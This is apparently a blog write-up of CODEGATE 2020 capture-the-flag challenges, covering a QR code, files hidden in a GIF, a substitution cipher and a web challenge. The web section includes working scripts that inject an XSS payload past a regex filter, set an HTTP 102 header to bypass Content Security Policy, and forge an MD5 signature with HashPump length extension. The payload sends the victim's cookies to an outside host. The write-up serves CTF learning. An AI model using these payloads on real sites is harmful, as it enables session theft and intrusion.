🇰🇷CODEGATE 2020 Writeup (English) 8 min read
本文最后更新于 473 天前,其中的信息可能已经有所发展或是发生改变。

Author: 颖奇L’Amore

Blog: www.gem-love.com


Check_Check (1pt)

Download the attachment, we could get a QR code. scan it by WeChat and you will get the Flag

CODEGATE2020{Q_R_C_O_D_E}


LOL (27pt)

It was just an easy Misc challenge.

Download and unzip the attachment, we got a .gif image of game LOL

Checking it by binwalk, we got that it combined many .JPG images

Then we need to extract them all by binwalk -e Legend.gif or foremost Legend.gif command. Flag was wrote on one of those pics.


ENIGMA (49pt)

Download the attachment we got an unknown-type file without any extension. By using file command, we could know it was a 7-zip compressed file

Rename and add a .7z suffix, then use your compress application to un7zip it, we got a text file

DON'T LET YOUR RIGHT HAND KNOW WHAT YOUR LEFT HAND DID
5+,'( "2( )+-3 r-/:( :*,5 ',+1 1:*( )+3 "26( :*,5 5-d


ONCE A HACKER IS AN ETERNAL HACKER
+,92 * :*9'23 -4 *, 2(23,*" :*9'23


A HACKER WITHOUT PHILOSOPHY IS JUST AN EVIL COMPUTER GENIUS
* :*9'23 1-(:+-( @:-"+4+@:) -4 ;_4( *, 2?-" 9+.@_(23 /2,-_4

flag is :
9+52/*(22020{:*9'234 *32 ,+( !+3, +,") -( -4 .*52}

Observing that the 1st line was English and the 2nd line was some symbols or numbers and they were all one-to-one, we could translate flag by using  this one-to-one correspondence.

But after translating flag to English, I found that the symbol ! has no corresponding English letter. We got the flag except “!”:

CODEGATE2020{HACKERS ARE NOT _ORN ONLY IT IS MADE}  (_ means unknown)

But what was that exclamatory mark mean? There are 26 English letters in total, only QBZ has not appeared above.

Therefore, 2 ways to solve it:

  1. we just submit flag by brute force, and there were just only 3 situations
  2. QORN BORN ZORN, just BORN are English word, so B was the correct letter.

flag: CODEGATE2020{HACKERS ARE NOT BORN ONLY IT IS MADE}


CSP (702pt)

challenge URL: http://110.10.147.166/

Attachment is api.php’s source code:

<?php
require_once 'config.php';

if(!isset($_GET["q"]) || !isset($_GET["sig"])) {
    die("?");
}

$api_string = base64_decode($_GET["q"]);
$sig = $_GET["sig"];

if(md5($salt.$api_string) !== $sig){
    die("??");
}

//APIs Format : name(b64),p1(b64),p2(b64)|name(b64),p1(b64),p2(b64) ...
$apis = explode("|", $api_string);
foreach($apis as $s) {
    $info = explode(",", $s);
    if(count($info) != 3)
        continue;
    $n = base64_decode($info[0]);
    $p1 = base64_decode($info[1]);
    $p2 = base64_decode($info[2]);

    if ($n === "header") {
        if(strlen($p1) > 10)
            continue;
        if(strpos($p1.$p2, ":") !== false || strpos($p1.$p2, "-") !== false) //Don't trick...
            continue;
        header("$p1: $p2");
    }
    elseif ($n === "cookie") {
        setcookie($p1, $p2);
    }
    elseif ($n === "body") {
        if(preg_match("/<.*>/", $p1))
            continue;
        echo $p1;
        echo "\n<br />\n";
    }
    elseif ($n === "hello") {
        echo "Hello, World!\n";
    }
}

Look here:

elseif ($n === "body") {
        if(preg_match("/<.*>/", $p1))
            continue;
        echo $p1;
        echo "\n<br />\n";
    }

it can echo what you entered on API Param#1, if we bypass preg_match() we can inject JavaScript code and conduct a XSS attack.

As it happens, this regular expression is vulnerable, ‘\n’ can bypass it. (It looks like CRLF injection)

#author: 颖奇L'Amore
#www.gem-love.com
import requests
xss = '<script\n>alert(1);</script\n>'
s = requests.Session()
r = s.get("http://110.10.147.166/view.php?name=body&p1={}&p2=123".format(xss))
text = r.content.decode()
print(text)

run this python script and it will print a url about api.php

visit this url, our javascript alert() can be seen on Elements, but there’s no any window pop up, in other words, the JS code doesn’t execute at all!

But why? turn to Console we can see some red words

The reason is that CSP (Content Security Policy) refused us to execute javascript. Maybe 2 or 3 days ago I just finished an CSP bypass challenge on Hgame 2020 Week 3, it named 「Cosmos的聊天室2.0」 writeup:

HGAME 2020 Week_3 Web Writeup

But this challenge doesn’t work the same way as hgame did!

I didn’t solve this problem, Stuck here for quiet a long time, finally I searched a writeup on CTFTime:

Although I don’t know any Korean word, I have translator. His general meaning is that CSP won’t work when http status is HTTP 102

Ahh! that’s why api.php can set header in foreach() loop:

if ($n === "header") {
        if(strlen($p1) > 10)
            continue;
        if(strpos($p1.$p2, ":") !== false || strpos($p1.$p2, "-") !== false) //Don't trick...
            continue;
        header("$p1: $p2");
    }

But in fact, after trying and searching google, I found that it is just a header injection instead of some special trick about HTTP102, you can try HTTP300 HTTP100 or some other status codes, they are also effective.

Now our idea is clear totally. We need to bypass regular expression matching for XSS attack, and we need to modify HTTP header to bypass CSP

There is a code annotation in api.php:

//APIs Format : name(b64),p1(b64),p2(b64)|name(b64),p1(b64),p2(b64) ...

which means that we can do these 2 things together.

But there is another problem:

if(md5($salt.$api_string) !== $sig){
    die("??");
}

Although I’ve read writeup, I solved this md5 check by myself. I figured out 2 ways to ensure md5($salt.$api_string) === $sig

No.1 way – brute force.

It requires good computer hardware. Although I didn’t try, I think it’s feasible (Leave this task to Imagin)

look at here:

$api_string = base64_decode($_GET["q"]);
$sig = $_GET["sig"];

if(md5($salt.$api_string) !== $sig){
    die("??");
}

firstly we just just enter some simple thing such as 1,1,1

then we get a url:

/api.php?sig=0ea707b180df9d5d2db7de6f66b7bc9c&q=TVE9PSxNUT09LE1RPT0=

base64 decode q we get:

MQ==,MQ==,MQ==

MQ== is 1’s base64

Now we know some equivalence:

md5($salt.'MQ==,MQ==,MQ==') ===  '0ea707b180df9d5d2db7de6f66b7bc9c'

now we just write a python to brute force $salt

No.2 way – HashPump

You must know about Hash Length Extension Attack. If you don’t, check this out:

https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks

This article are written by Hash Extender‘s developer Ron Bowes

When we exploit Hash Length Extension Attack we usually use HashPump

哈希长度扩展攻击的简介以及HashPump安装使用方法

https://www.cnblogs.com/pcat/p/5478509.html

Now let me show you how to bypass this md5 check by Hashpump.

just like the 1st way, we get the url:

/api.php?sig=0ea707b180df9d5d2db7de6f66b7bc9c&q=TVE9PSxNUT09LE1RPT0=

Use hashpump to collide hash value, we need these 4 following things:

  1. Signature from known message
  2. Data from know message
  3. The information you would like to add to the known message.
  4. Key length

Signature is 0ea707b180df9d5d2db7de6f66b7bc9c; Data from know message is MQ==,MQ==,MQ==; The information can calculate out very easily; but what is the length of the key???

Just brute force, there are only maximum a few dozen cases.

Let’s first generate our payload in base64 format, use this python to help you:

#author: 颖奇L'Amore
#www.gem-love.com
import base64
csp1 = str(base64.b64encode(b'header') ,encoding = "utf8")
csp2 = str(base64.b64encode(b'HTTP/1.1'),encoding = "utf8")
csp3 = str(base64.b64encode(b'102'),encoding = "utf8")
name = str(base64.b64encode(b'body'),encoding = "utf8")
xss = str(base64.b64encode(b'<script\n>window.open("http://gem-love.com:12345/?"+document.cookie);</script\n>'),encoding = "utf8")
p3 = "MQ==" #p3 is useless
print('|{},{},{}|{},{},{}'.format(csp1,csp2,csp3,name,xss,p3))

execute this python file and it will print:

|aGVhZGVy,SFRUUC8xLjE=,MTAy|Ym9keQ==,PHNjcmlwdAo+d2luZG93Lm9wZW4oImh0dHA6Ly8xMTguMTkwLjE1OC4xMzQ6MTIzNTgvPyIrZG9jdW1lbnQuY29va2llKTs8L3NjcmlwdAo+,MQ==

This is our own API!

//APIs Format : name(b64),p1(b64),p2(b64)|name(b64),p1(b64),p2(b64) ...

Then we use that payload + hashpump to collide the md5(), if collide successfully it will execute php function header() and http status code will be 102, so we just brute force key length by judge the http_status_code.

I wrote a python to help solve it:

# author: 颖奇L'Amore
# www.gem-love.com
import requests
import os
from base64 import *

for i in range(1, 100):
    r = os.popen(
        "./hashpump -s '0ea707b180df9d5d2db7de6f66b7bc9c' -d 'MQ==,MQ==,MQ==' -k {} -a '|aGVhZGVy,SFRUUC8xLjE=,MTAy|Ym9keQ==,PHNjcmlwdAo+d2luZG93Lm9wZW4oImh0dHA6Ly8xMTguMTkwLjE1OC4xMzQ6MTIzNTgvPyIrZG9jdW1lbnQuY29va2llKTs8L3NjcmlwdAo+,MQ=='".format(
            i))
    list = r.read().split('\n')
    r.close()
    sig = list[0]
    q = eval("b'''" + list[1] + "'''")
    q = b64encode(q).decode()
    url = 'http://110.10.147.166/api.php?sig={}&q={}'.format(sig, q)
    r = requests.head(url)
    code = r.status_code
    print("i:{}, code:{}".format(i, code))
    if code == 102:
        print(url)
        break

run this python, we got that key length is 12, and it also had already helped us generate payload url successfully!

Then we visit report.php and enter the URL python gave, you will notice that it need a sha1 value

it is just a little trick. I also wrote a python to solve it:

#Author: 颖奇L'Amore
#Blog: www.gem-love.com
import hashlib
i = 0
while 1:
    sha1 = hashlib.sha1(f"{i}".encode()).hexdigest()
    sha2 = sha1[0:5]
    if sha2 == '6dce2':
        print(i)
        break
    i = i + 1

this trick also appeared in hgame week2/week3, run this python we will get the suitable sha1 value.

submit them and we will get the flag!!!

To be honest, it is really a good challenge! It made me learn a lot!

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/1282.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

暂无评论

发送评论 编辑评论

上一篇
下一篇